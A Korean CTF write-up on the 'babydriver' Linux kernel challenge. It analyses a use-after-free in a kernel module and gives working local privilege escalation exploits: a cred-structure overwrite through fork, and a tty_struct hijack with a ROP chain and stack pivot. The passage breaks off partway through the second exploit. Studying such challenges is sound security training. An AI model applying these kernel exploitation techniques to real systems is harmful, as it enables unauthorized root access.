블로그 이전했습니다. https://jeongzero.oopy.io/
[cicsn2017] babydriver
본문 바로가기
워게임/CTF 문제들

[cicsn2017] babydriver

728x90

1. 문제


(참고로 익스코드는 내가 짠건 아니고 롸업들꺼 짬뽕했다)

1) 문제 확인

문제파일 : (용량큼 ;; 인터넷에 치면 나옴)

환경세팅에 관련한 내용은 첫 커널 문제에서 자세히 했으므로 넘어가겠다.

문제를 다운받고 압축을 풀면 다음과 같은 파일들이 존재한다.

╭─wogh8732@ubuntu ~/Desktop/kernel_study/ctf/cicsn2017-babydriver 
╰─$ ls
boot.sh  bzImage  rootfs.cpio

rootfs.cpio를 저번처럼 추출하면 다음과 같은 파일시스템 파일들을 볼수있다.

╭─wogh8732@ubuntu ~/Desktop/kernel_study/ctf/cicsn2017-babydriver/test 
╰─$ ls
bin  etc   home  init  lib  linuxrc  proc  rootfs  sbin  sys  tmp  usr
╭─wogh8732@ubuntu ~/Desktop/kernel_study/ctf/cicsn2017-babydriver/test 
╰─$ ls lib/modules/4.4.72                                                                      130 ↵
babydriver.ko

lib/modules/4.4.72 안에 분석할 커널 모듈이 존재한다.

추가적으로 디버깅에 필요한 vmlinux 를 제공안했기 때문에, 아래의 명령어로 bzImage에서 역으로 vmlinux를 뽑으면 된다

$ apt-get install linux-headers-$(uname -r)
$ /usr/src/linux-headers-$(uname -r)/scripts/extract-vmlinux bzImage > vmlinux

2) mitigation 확인

boot.sh를 보면

#!/bin/bash

qemu-system-x86_64 -initrd ./test/rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep

smep이 걸려있는걸 볼수있다. 이는 유저공간에서 커널영역의 함수를 실행하지 못하게 한다. kaslr은 걸려있지 않다. (디버깅하려면 -s 옵션을 추가해야한다)

3) 코드흐름 파악

이제 babydriver.ko를 분석해보자

int __cdecl babydriver_init()
{
  __int64 v0; // rdx
  int v1; // edx
  __int64 v2; // rsi
  __int64 v3; // rdx
  int v4; // ebx
  class *v5; // rax
  __int64 v6; // rdx
  __int64 v7; // rax

  if ( (signed int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )
  {
    cdev_init(&cdev_0, &fops);
    v2 = babydev_no;
    cdev_0.owner = &_this_module;
    v4 = cdev_add(&cdev_0, babydev_no, 1LL);
    if ( v4 >= 0 )
    {
      v5 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
      babydev_class = v5;
      if ( v5 )
      {
        v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev");
        v1 = 0;
        if ( v7 )
          return v1;
        printk(&unk_351, 0LL, 0LL);
        class_destroy(babydev_class);
      }
      else
      {
        printk(&unk_33B, "babydev", v6);
      }
      cdev_del(&cdev_0);
    }
    else
    {
      printk(&unk_327, v2, v3);
    }
    unregister_chrdev_region(babydev_no, 1LL);
    return v4;
  }
  printk(&unk_309, 0LL, v0);
  return 1;
}

babydriver 커널 모듈 초기화 과정이다. 이는 전에 공부한 자료에서 설명했기 때문에 넘어가자. 여기선 딱히 볼게 없다.

int __fastcall babyopen(inode *inode, file *filp)
{
  __int64 v2; // rdx

  _fentry__(inode, filp);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
  babydev_struct.device_buf_len = 64LL;
  printk("device open\n", 37748928LL, v2);
  return 0;
}

open을 하면, 커널에서 동적할당을 통해 64바이트 힙을 할당받는다. kmem_cache_alloc_trace() 요 함수가 동적할당 함수인데 저 함수의 자세한 설명은 아래에 잘 설명되어 있다.

할당받은 힙 영역은 babydev_struct 구조체의 device_buf 필드에 저장하고, 64 크기를 buf_len 필드에 저장한다. babdev 구조체는 아래와 같이 구성되어있다.

struct babydevice_t
{
  char *device_buf;
  size_t device_buf_len;
};

ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_to_user(buffer);
    result = v6;
  }
  return result;
}

babyread() 함수는 device_buf 필드가 널이면 -1을 반환하고, 3번째 인자인 length(v4)와 buf_len을 비교하여 buf_len이 더 크면 커널영역의 값을 buffer인 유저공간으로 복사한다.

ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_from_user();
    result = v6;
  }
  return result;
}

babywrite() 함수는 비슷하게 동작하고 조건을 만족하면, buffer에 든 값을 커널 영역으로 복사한다. 이때 복사되는 커널영역이 어딘지는 이따가 디버깅으로 확인해보자.

__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t v4; // rbx
  __int64 v5; // rdx
  __int64 result; // rax

  _fentry__(filp, *(_QWORD *)&command);
  v4 = v3;
  if ( command == 65537 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\n", 37748928LL, v5);
    result = 0LL;
  }
  else
  {
    printk(&unk_2EB, v3, v3);
    result = -22LL;
  }
  return result;
}

babyioctl() 함수는 2번째 인자가 65537이라면 device_buf를 free한다. 이는 open 시에 할당받은 힙영역이다. 그다음 해제한 영역을 다시 3번째 인자인 arg(v4)만큼 동적할당하여 초기화한다. buf_len도 마찬가지이다.

int __fastcall babyrelease(inode *inode, file *filp)
{
  __int64 v2; // rdx

  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\n", filp, v2);
  return 0;
}

babyrelease() 함수는 해당 모듈이 close() 될때 호출된다. 모듈이 close()가 되면, device_buf를 free한다. 하지만 여기선 free후 초기화를 안하기 때문에 uaf가 일어난다.

2. 접근방법


어짜피 요 문제도 롸업을 보고 진행하는것이므로 바로 본론으로 들어가자.

UAF를 이용해서 해당 문제를 푸는 방법은 크게 2가지가 존재한다. 우선 첫번째 방법으로 해보자.

struct cred 이용


babydriver.ko 모듈을 2번 open한뒤, 첫번째 fd로 ioctl(), close()를 호출하면 현재 전역변수에 들어있는 device_buf는 해제된 포인터를 가리키고 있다. 이를 dangling pointer라고 한다. 요거를 어케 이용할꺼진 알아보자.

결론부터 말하면, 초기 open() → ioctl() 시에 cred 구조체 사이즈인 168바이트를 인자로 전달하여 해당 크기의 청크를 할당받게 한다. 그리고 close()를 하면 168바이트 힙 청크를 가리키는 전역변수에 들어있는 값은 dangling pointer가 된다.

그리고 fork() 함수를 호출하여 fork() 내부에서 힙 할당을 하는 로직을 이용하여 free된 청크 즉, 현재 dangling pointer 주소인 청크를 재할당받는다. fork에서 힙을 할당받는 로직은 바로 부모의 pcb 정보중 cred 구조체 필드들을 복사하기 위함이다. 이 역시 전에 설명했다.

정리하면,

  • dangling pointer 를 만들고
  • fork를 통해 dangling pointer 를 할당받게 하고, 이는 cred 구조체 영역임
  • 저 영역은 babywrite()를 통해 유저공간의 값을 커널영역으로 복사할수 있음
  • 즉, fork에서 할당받은 cred 구조체 영역을 수정가능하단 소리이므로 uid 부분을 0으로 만들수 있다
  • 그다음 유저영역에서 시스템함수를 그냥 실행시키면 LPE가 일어난다. 단, 이는 fork한 자식 프로세스 내에서 실행해야한다

자 그럼 fork() 내부로직을 자세히 봐서 어케 저 위에께 되는지 간단히 보자. fork는 부모 pcb 정보를 복사해서 자식으로 가져오는 목적이다.

#ifdef __ARCH_WANT_SYS_FORK
SYSCALL_DEFINE0(fork)
{
#ifdef CONFIG_MMU
	return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
#else
	/* can not support in nommu mode */
	return -EINVAL;
#endif
}

fork() → do_fork()를 호출한다

/*
 *  Ok, this is the main fork-routine.
 *
 * It copies the process, and if successful kick-starts
 * it and waits for it to finish using the VM if required.
 */
long _do_fork(unsigned long clone_flags,
	      unsigned long stack_start,
	      unsigned long stack_size,
	      int __user *parent_tidptr,
	      int __user *child_tidptr,
	      unsigned long tls)
{
	struct task_struct *p;
	int trace = 0;
	long nr;

	/*
	 * Determine whether and which event to report to ptracer.  When
	 * called from kernel_thread or CLONE_UNTRACED is explicitly
	 * requested, no event is reported; otherwise, report if the event
	 * for the type of forking is enabled.
	 */
	if (!(clone_flags & CLONE_UNTRACED)) {
		if (clone_flags & CLONE_VFORK)
			trace = PTRACE_EVENT_VFORK;
		else if ((clone_flags & CSIGNAL) != SIGCHLD)
			trace = PTRACE_EVENT_CLONE;
		else
			trace = PTRACE_EVENT_FORK;

		if (likely(!ptrace_event_enabled(current, trace)))
			trace = 0;
	}

	p = copy_process(clone_flags, stack_start, stack_size,
			 child_tidptr, NULL, trace, tls);
	/*
	 * Do this prior waking up the new thread - the thread pointer
	 * might get invalid after that point, if the thread exits quickly.
	 */

	.... 
  생략

내부에서 copy_process()를 또 호출한다.

static struct task_struct *copy_process(unsigned long clone_flags,
					unsigned long stack_start,
					unsigned long stack_size,
					int __user *child_tidptr,
					struct pid *pid,
					int trace,
					unsigned long tls)
{
	int retval;
	struct task_struct *p;

	...

	rt_mutex_init_task(p);

#ifdef CONFIG_PROVE_LOCKING
	DEBUG_LOCKS_WARN_ON(!p->hardirqs_enabled);
	DEBUG_LOCKS_WARN_ON(!p->softirqs_enabled);
#endif
	retval = -EAGAIN;
	if (atomic_read(&p->real_cred->user->processes) >=
			task_rlimit(p, RLIMIT_NPROC)) {
		if (p->real_cred->user != INIT_USER &&
		    !capable(CAP_SYS_RESOURCE) && !capable(CAP_SYS_ADMIN))
			goto bad_fork_free;
	}
	current->flags &= ~PF_NPROC_EXCEEDED;

	retval = copy_creds(p, clone_flags);

....

copy_process() 함수 내에서 copy_creds()를 호출한다. 함수명을 통해 저기서 creds 구조체를 복사하는것 같다.

int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
	struct cred *new;
	int ret;

	if (
#ifdef CONFIG_KEYS
		!p->cred->thread_keyring &&
#endif
		clone_flags & CLONE_THREAD
	    ) {
		p->real_cred = get_cred(p->cred);
		get_cred(p->cred);
		alter_cred_subscribers(p->cred, 2);
		kdebug("share_creds(%p{%d,%d})",
		       p->cred, atomic_read(&p->cred->usage),
		       read_cred_subscribers(p->cred));
		atomic_inc(&p->cred->user->processes);
		return 0;
	}

	new = prepare_creds();
	if (!new)
		return -ENOMEM;
	.....

copy_creds() 내부에서 prepare_creds()를 호출한다.

struct cred *prepare_creds(void)
{
	struct task_struct *task = current;
	const struct cred *old;
	struct cred *new;

	validate_process_creds();

	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
	if (!new)
		return NULL;

	kdebug("prepare_creds() alloc %p", new);

....

prepase_creds() 에서 이제 실제로 fork로 생성한 자식의 자격증명을 생성을 위해 힙 할당을 받는것을 볼수 있다.

이러한 이유때문에 fork를 호출하는것이다!

이제 마지막으로 디버깅을 하면서 babywrite() 내부에서 copy_from_user()를 통해 커널 어느 영역으로 유저의 값이 복사되는지 확인해보자.

► 0xffffffffc0000010 <babyrelease+16>    call   0xffffffff811eafc0 <0xffffffff811eafc0>
 
   0xffffffffc0000015 <babyrelease+21>    mov    rdi, -0x3fffefdc
   0xffffffffc000001c <babyrelease+28>    call   0xffffffff8118b077 <0xffffffff8118b077>
 
   0xffffffffc0000021 <babyrelease+33>    xor    eax, eax
   0xffffffffc0000023 <babyrelease+35>    pop    rbp
   0xffffffffc0000024 <babyrelease+36>    ret    
 
   0xffffffffc0000025                     nop    
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ rbp rsp  0xffff880003d1fe58 —▸ 0xffff880003d1fea0 —▸ 0xffff880003d1feb0 —▸ 0xffff880003d1fef0 —▸ 0xffff880003d1ff28 ◂— ...
01:0008│          0xffff880003d1fe60 —▸ 0xffffffff8120d2c4 ◂— mov    rdi, rbx /* 0x136ac4e8df8948 */
02:0010│          0xffff880003d1fe68 —▸ 0xffff880003ccbc88 ◂— jmp    qword ptr [rcx] /* 0x521ff */
03:0018│          0xffff880003d1fe70 —▸ 0xffff880003d13710 —▸ 0xffff880000ba71a0 —▸ 0xffff880002404540 ◂— add    byte ptr [rax], al /* 0x200200000 */
04:0020│          0xffff880003d1fe78 —▸ 0xffff880003cea640 ◂— 0
05:0028│          0xffff880003d1fe80 —▸ 0xffffffff820fed50 ◂— 0
06:0030│          0xffff880003d1fe88 —▸ 0xffff880003d13700 ◂— 0
07:0038│          0xffff880003d1fe90 ◂— 0
────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
 ► f 0 ffffffffc0000010 babyrelease+16
   f 1 ffffffff8120d2c4
   f 2 ffff880003ccbc88
   f 3 ffff880003d13710
   f 4 ffff880003cea640
   f 5 ffffffff820fed50
   f 6 ffff880003d13700
   f 7                0
─────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/gx $rdi
0xffff880003d3d780:	0xffff880003d3d840 <- 요게 힙 주소

요기가 초반에 babyrelease()를 통해 free되는 값이다. 현재 babydev_struct 전역변수 주소는 0xffff880003d3d780 요거다 이거를 기억하자. 이제 write() 시에 커널 어디로 복사되는지 보자

─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
   0xffffffffc000010f <babywrite+31>    jbe    babywrite+51 <babywrite+51>
 
   0xffffffffc0000111 <babywrite+33>    push   rbp
   0xffffffffc0000112 <babywrite+34>    mov    rbp, rsp
   0xffffffffc0000115 <babywrite+37>    push   rbx
   0xffffffffc0000116 <babywrite+38>    mov    rbx, rdx
 ► 0xffffffffc0000119 <babywrite+41>    call   0xffffffff813e6520 <0xffffffff813e6520>
 
   0xffffffffc000011e <babywrite+46>    mov    rax, rbx
   0xffffffffc0000121 <babywrite+49>    pop    rbx
   0xffffffffc0000122 <babywrite+50>    pop    rbp
   0xffffffffc0000123 <babywrite+51>    ret    
 
   0xffffffffc0000125 <babywrite+53>    mov    rax, -1
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ rsp  0xffff880003d3be30 —▸ 0xffff880003d13500 ◂— 0
01:0008│ rbp  0xffff880003d3be38 —▸ 0xffff880003d3bec0 —▸ 0xffff880003d3bf00 —▸ 0xffff880003d3bf48 —▸ 0x7fffe98163d0 ◂— ...
02:0010│      0xffff880003d3be40 —▸ 0xffffffff8120b237 ◂— mov    rdi, qword ptr [rbp - 0x18] /* 0x3c334865e87d8b48 */
03:0018│      0xffff880003d3be48 ◂— 0x54 /* 'T' */
04:0020│      0xffff880003d3be50 ◂— 0
05:0028│      0xffff880003d3be58 —▸ 0x400000 ◂— jg     0x400047
06:0030│      0xffff880003d3be60 —▸ 0xffff880003d3be70 —▸ 0xffff880003d3bea0 —▸ 0xffff880003d3bec0 —▸ 0xffff880003d3bf00 ◂— ...
07:0038│      0xffff880003d3be68 —▸ 0xffffffff813832a8 ◂— pop    rbp /* 0x441f0f66c35d */
────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
 ► f 0 ffffffffc0000119 babywrite+41
   f 1 ffffffff8120b237
   f 2               54
   f 3 ffffffff8120b949
   f 4 ffff880003d19068
   f 5 ffff880003d13500
   f 6 ffff880003d13500
   f 7     7fffe98163a0
─────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/gx $rdi
0xffff880003d3d780:	0x000003e800000002

오우 복사되는 커널 영역이 바로 babydev_struct 주소이다. 그럼 끝났다.

struct tty_struct 이용


💡
tty(teletypewriter)는 리눅스 디바이스 드라이브중에서 콘솔이나 터미널을 의미한다. 여러개의 콘솔로 1개의 리눅스에 접근 할 수 있으며, 이때 2번째 부터는 실제로 존재하지 안는 콘솔(키보드와 모니터가 2개가 연결된게 아님)이므로 가상(pseudo)라는 접두어가 붙게 된다. pty(pseudo tty)는 '가짜 tty'라는 개념을 의미합니다. 기계적인 콘솔이 아닌 port개념을 사용(ptmx), 커널영역(ptm), slave(pts)를 사용하기 때문에, 가짜 tty, 즉 pty라고 부른다.

요점부터 말하면, tty 구조체를 사용하는 드라이버를 이용하여 해당 내부 로직중 tty 구조체를 힙에 할당 받는 부분이 있다. 그곳을 이용해서 cred 구조체와 동일한 방법으로 특정 필드를 덮고, 덮은 부분을 rop로 연계하는 방식으로도 해당 문제를 풀 수 있다.

아래서 설명하는 소스코드는 전부 여기서 찾으면 된다

v4.4.72 tty_operations

struct tty_operations {
	struct tty_struct * (*lookup)(struct tty_driver *driver,
			struct inode *inode, int idx);
	int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
	void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
	int  (*open)(struct tty_struct * tty, struct file * filp);
	void (*close)(struct tty_struct * tty, struct file * filp);
	void (*shutdown)(struct tty_struct *tty);
	void (*cleanup)(struct tty_struct *tty);
	int  (*write)(struct tty_struct * tty,
		      const unsigned char *buf, int count);
	int  (*put_char)(struct tty_struct *tty, unsigned char ch);
	void (*flush_chars)(struct tty_struct *tty);
	int  (*write_room)(struct tty_struct *tty);
	int  (*chars_in_buffer)(struct tty_struct *tty);
	int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);
	long (*compat_ioctl)(struct tty_struct *tty,
			     unsigned int cmd, unsigned long arg);
	void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
	void (*throttle)(struct tty_struct * tty);
	void (*unthrottle)(struct tty_struct * tty);
	void (*stop)(struct tty_struct *tty);
	void (*start)(struct tty_struct *tty);
	void (*hangup)(struct tty_struct *tty);
	int (*break_ctl)(struct tty_struct *tty, int state);
	void (*flush_buffer)(struct tty_struct *tty);
	void (*set_ldisc)(struct tty_struct *tty);
	void (*wait_until_sent)(struct tty_struct *tty, int timeout);
	void (*send_xchar)(struct tty_struct *tty, char ch);
	int (*tiocmget)(struct tty_struct *tty);
	int (*tiocmset)(struct tty_struct *tty,
			unsigned int set, unsigned int clear);
	int (*resize)(struct tty_struct *tty, struct winsize *ws);
	int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
	int (*get_icount)(struct tty_struct *tty,
				struct serial_icounter_struct *icount);
#ifdef CONFIG_CONSOLE_POLL
	int (*poll_init)(struct tty_driver *driver, int line, char *options);
	int (*poll_get_char)(struct tty_driver *driver, int line);
	void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
	const struct file_operations *proc_fops;
};

디바이스 드라이버 모듈 만드는 걸 공부했을때 file_operations 구조체처럼 일종의 함수포인터들을 모아놓은 구조체이다. 이는 ptmx 같은 드라이버가 사용한다. 만약 ptmx 드라이버를 open하고 write를 호출하면, 위 구조체의 write 함수포인터에 등록된 핸들러가 실행된다.

뒤에서 볼 tty_struct의 필드중 ttyp_operations 필드가 있다. 이 부분을 조작해서 특정 함수가 실행될때 우리가 넣은 rop가 실행되게끔 하는게 목표이다.

ptmx가 어떻게 tty 구조체를 사용하는지 코드로 확인해보자

static int ptmx_open(struct inode *inode, struct file *filp)
{
	struct pts_fs_info *fsi;
	struct tty_struct *tty;
	struct inode *slave_inode;
	int retval;
	int index;

	nonseekable_open(inode, filp);

	/* We refuse fsnotify events on ptmx, since it's a shared resource */
	filp->f_mode |= FMODE_NONOTIFY;

	retval = tty_alloc_file(filp);
	if (retval)
		return retval;

	fsi = devpts_get_ref(inode, filp);
	retval = -ENODEV;
	if (!fsi)
		goto out_free_file;

	/* find a device that is not in use. */
	mutex_lock(&devpts_mutex);
	index = devpts_new_index(fsi);
	mutex_unlock(&devpts_mutex);

	retval = index;
	if (index < 0)
		goto out_put_ref;


	mutex_lock(&tty_mutex);
	tty = tty_init_dev(ptm_driver, index);
	/* The tty returned here is locked so we can safely
	   drop the mutex */
	mutex_unlock(&tty_mutex);

	retval = PTR_ERR(tty);
...

}

ptmx_open()을 보면 초반부분에 tty_init_dev() 를 호출한다. ptmx 드라이버를 위한 tty 구조체를 초기화 하는것 같다. 이 함수를 살펴보자

struct tty_struct *tty_init_dev(struct tty_driver *driver, int idx)
{
	struct tty_struct *tty;
	int retval;

	/*
	 * First time open is complex, especially for PTY devices.
	 * This code guarantees that either everything succeeds and the
	 * TTY is ready for operation, or else the table slots are vacated
	 * and the allocated memory released.  (Except that the termios
	 * and locked termios may be retained.)
	 */

	if (!try_module_get(driver->owner))
		return ERR_PTR(-ENODEV);

	tty = alloc_tty_struct(driver, idx);
	if (!tty) {
		retval = -ENOMEM;
		goto err_module_put;
	}

..........

}

tty_init_dev() 함수에서 alloc_tty_struct() 를 호출한다. 이름으로 보아 저기서 tty 구조체를 할당받는것으로 보인다

struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
	struct tty_struct *tty;

	tty = kzalloc(sizeof(*tty), GFP_KERNEL);
	if (!tty)
		return NULL;

	kref_init(&tty->kref);
	tty->magic = TTY_MAGIC;
	tty_ldisc_init(tty);
	tty->session = NULL;
	tty->pgrp = NULL;
	mutex_init(&tty->legacy_mutex);
	mutex_init(&tty->throttle_mutex);
	init_rwsem(&tty->termios_rwsem);
	mutex_init(&tty->winsize_mutex);
	init_ldsem(&tty->ldisc_sem);
	init_waitqueue_head(&tty->write_wait);
	init_waitqueue_head(&tty->read_wait);
	INIT_WORK(&tty->hangup_work, do_tty_hangup);
	mutex_init(&tty->atomic_write_lock);
	spin_lock_init(&tty->ctrl_lock);
	spin_lock_init(&tty->flow_lock);
	INIT_LIST_HEAD(&tty->tty_files);
	INIT_WORK(&tty->SAK_work, do_SAK_work);

	tty->driver = driver;
	tty->ops = driver->ops;
	tty->index = idx;
	tty_line_name(driver, idx, tty->name);
	tty->dev = tty_get_device(tty);

	return tty;
}

kzalloc을 통해 여기서 실제 힙 할당을 받는다. 그렇다면 creds 시나리오처럼 tty_struct 구조체 사이즈(736)를 초기에 할당받고 close()를 통해 free를 시키면 dangling pointer가 생기고, ptmx를 open하면 dangling pointer가 tty_struct를 가리키고 있을것이다.

그러면 결국 write()를 통해 tty_struct를 조작할수 있고, 이 중 tty_operations 필드를 덮으면 된다.

struct tty_struct {
	int	magic;
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;
	int index;

	/* Protects ldisc changes: Lock tty not pty */
	struct ld_semaphore ldisc_sem;
	struct tty_ldisc *ldisc;

	struct mutex atomic_write_lock;
	struct mutex legacy_mutex;
	struct mutex throttle_mutex;
	struct rw_semaphore termios_rwsem;
	struct mutex winsize_mutex;
	spinlock_t ctrl_lock;
	spinlock_t flow_lock;
	/* Termios values are protected by the termios rwsem */
	.....

};

tty_struct는 이처럼 구성되어있다. 이중 ops 포인터를 덮으면 된다.

익스 시나리오를 정리해보자.

  1. rop payload, tty_operations을 구성한다
  1. babydev 드라이버를 2번 open한다(fd1,fd2)
  1. fd1을 ioctl()로 tty_struct 사이즈인 736바이트 만큼 힙을 할당한다
  1. fd1을 close하여 dangling pointer를 만든다
  1. ptmx 드라이버를 open한다
  1. babyread()를 호출하여 현재 babdev_struct가 가리키고 있는 ptmx open시 할당받은 tty_struct를 유저공간으로 가져온다
  1. 가져온 tty_struct의 ops 필드를 fake tty_operations으로 덮는다
  1. fake tty_struct를 babywrite(fd2)를 이용하여 ptmx의 tty_struct를 덮는다. 이는 dangling pointer이기 때문에 가능하다
  1. 이제 open한 ptmx fd3을 write를 하면, fake tty_struct → fake tty_operations → rop 순으로 호출되면서 LPE가 진행된다.

우선 kaslr은 걸려있지 않으므로 commit_credsprepare_kernel_cred 주소는 구해서 바로 이용하면 된다. 또한 rop에 필요한 가젯은 vmlinx에서 뽑으면 된다.

또한 현재 stack overflow를 통한 rop가 아니기 때문에 stack pivoting을 이용하여 인자세팅을 해줘야한다. vmlinux 바이너리의 가젯중에

  • 0xffffffff814f5359 : mov esp, 0x1740100 ; ret

가젯이 있다. 따라서 mmap으로 0x1740100 이 포함되는 메모리를 할당받고, 이곳으로 피봇팅을 조지자.

size_t *addr=(long*)mmap((void *)0x173f000, 0x60000, PROT_READ | PROT_WRITE,  0x32 | MAP_POPULATE, -1, 0);

if (addr!= 0x173f000){
printf("mmap fail! %lx\n",addr);
exit(1);
}

printf("mmap success! %lx\n",addr);

우선 fake_tty_operations 를 구성해보자

void* tty_operations[30] = {0};
-----------------------------------------------------------

tty_operations[7] = 0xffffffff814f5359;   //mov esp, 0x1740100 ; ret

babyread()로 ptmx의 tty_struct를 가져온뒤, tty_structtty_operations 필드를 위처럼 fake tty_operations으로 덮을것이다. 후에 우리가 호출할 operations은 write이므로

struct tty_operations {
	struct tty_struct * (*lookup)(struct tty_driver *driver,
			struct inode *inode, int idx);
	int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
	void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
	int  (*open)(struct tty_struct * tty, struct file * filp);
	void (*close)(struct tty_struct * tty, struct file * filp);
	void (*shutdown)(struct tty_struct *tty);
	void (*cleanup)(struct tty_struct *tty);
	int  (*write)(struct tty_struct * tty,
		      const unsigned char *buf, int count); <-- index7 !!
...........

write(ptmx_fd)를 호출하면 tty_operations[7]이 호출될 것이다.

size_t rop=0x1740100;
rop[0] 	= 0xffffffff810d238d;   // pop rdi; ret;
rop[1] 	= 0;
rop[2] 	= prepare_kernel_cred;
rop[3] 	= 0xffffffff810676e5;   // pop rdx; pop rcx; ret
rop[4] 	= commit_creds;
rop[5] 	= 0;
rop[6] 	= 0xffffffff8180c4a2;   // mov rdi, rax; call rdx;
rop[7] 	= 0;
rop[8] 	= 0xffffffff81063694;   // swapgs; pop rbp; ret;
rop[9] 	= 0;
rop[10]	= 0xffffffff814e35ef;   // iretq; ret;
rop[11]	= &shell;
rop[12]	= rv.user_cs;
rop[13]	= rv.user_rflags;
rop[14]	= rv.user_rsp;
rop[15]	= rv.user_ss;

mmap으로 0x173f000 + 0x600 만큼의 영역을 할당받았기 때문에 0x1740100 부터 스택처럼 사용하면 된다.

fake tty_struct는 다음과 같이 만들면 된다

size_t fake_tty_struct[4] = {0}; //8바이트 단위

fake_tty_struct[3]= &fake_tty_operations;
-------------------------------------------
->실제 tty_struct
struct tty_struct {
	int	magic; //4바이트
	struct kref kref; //4바이트
	struct device *dev; //8바이트
	struct tty_driver *driver; //8바이트
	const struct tty_operations *ops;
....

size_t fake_tty_struct[] 는 8바이트 이므로 3번째 인덱스 8*3=24가 실제 tty_struct의 ops 위치이다.

정리하면

  1. read로 ptmx의 tty_struct를 가져온다
  1. fake tty_operations 필드를 삽입한다
  1. fake tty_operations 은 스택 피봇팅을 위한 가젯이 들어있다
  1. 가젯이 호출되면, mmap으로 할당받은 영역으로 피봇팅이 진행된다
  1. mmap에 넣은 페이로드가 호출된다.

3. 풀이


struct cred 풀이

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>

int main()
{
        int fd1=open("/dev/babydev",O_RDWR);
        int fd2=open("/dev/babydev",O_RDWR);


        ioctl(fd1,65537,168);
        close(fd1);
        int id=fork();
        if(id<0)
        {
               printf("ERROR");
               exit(-1);
        }
        else if(id==0)
        {
                char buf[30]={0};
                write(fd2,buf,28);
                sleep(1);
                if(getuid()==0)
                {
                        system("/bin/sh");
                        exit(0);
                }
        }
        else
        {
                wait(0);
        }

        close(fd2);
        return 0;       
}

tty_struct 풀이

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>


size_t user_cs, user_ss, user_rflags, user_sp;

size_t commit_creds = 0xffffffff810a1420;
size_t prepare_kernel_cred = 0xffffffff810a1810;

struct register_val {
    uint64_t user_rip;
    uint64_t user_cs;
    uint64_t user_rflags;
    uint64_t user_rsp;
    uint64_t user_ss;
} __attribute__((packed));

struct register_val rv;

void backup_rv(void) {
    asm("mov rv+8, cs;"
        "pushf; pop rv+16;"
        "mov rv+24, rsp;"
        "mov rv+32, ss;"
       );
}

void shell() {
    execl("/bin/sh","sh",NULL);
}

int main() {
    void* fake_tty_operations[30] = {0};
    size_t fake_tty_struct[4] = {0};
		size_t tmp[4]={0};
    backup_rv();

		size_t *addr=(long*)mmap((void *)0x173f000, 0x60000, PROT_READ | PROT_WRITE,  0x32 | MAP_POPULATE, -1, 0);

		if (addr!= 0x173f000)
		{
			printf("mmap fail! %lx\n",addr);
			exit(1);
		}
	
		printf("mmap success! %lx\n",addr);

		size_t *rop=0x1740100;

    rop[0] 	= 0xffffffff810d238d;   // pop rdi; ret;
    rop[1] 	= 0;
    rop[2] 	= prepare_kernel_cred;
    rop[3] 	= 0xffffffff810676e5;   // pop rdx; pop rcx; ret
    rop[4] 	= commit_creds;
    rop[5] 	= 0;
    rop[6] 	= 0xffffffff8180c4a2;   // mov rdi, rax; call rdx;
    rop[7] 	= 0;
    rop[8] 	= 0xffffffff81063694;   // swapgs; pop rbp; ret;
    rop[9] 	= 0;
    rop[10]	= 0xffffffff814e35ef;   // iretq; ret;
    rop[11]	= &shell;
    rop[12]	= rv.user_cs;
    rop[13]	= rv.user_rflags;
    rop[14]	= rv.user_rsp;
    rop[15]	= rv.user_ss;

		fake_tty_operations[7] = 0xffffffff814f5359;   //mov esp, 0x1740100 ; ret
    
		int fd1= open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);

    ioctl(fd1, 65537, 736);
    close(fd1);

    int ptmx = open("/dev/ptmx", O_RDWR|O_NOCTTY);

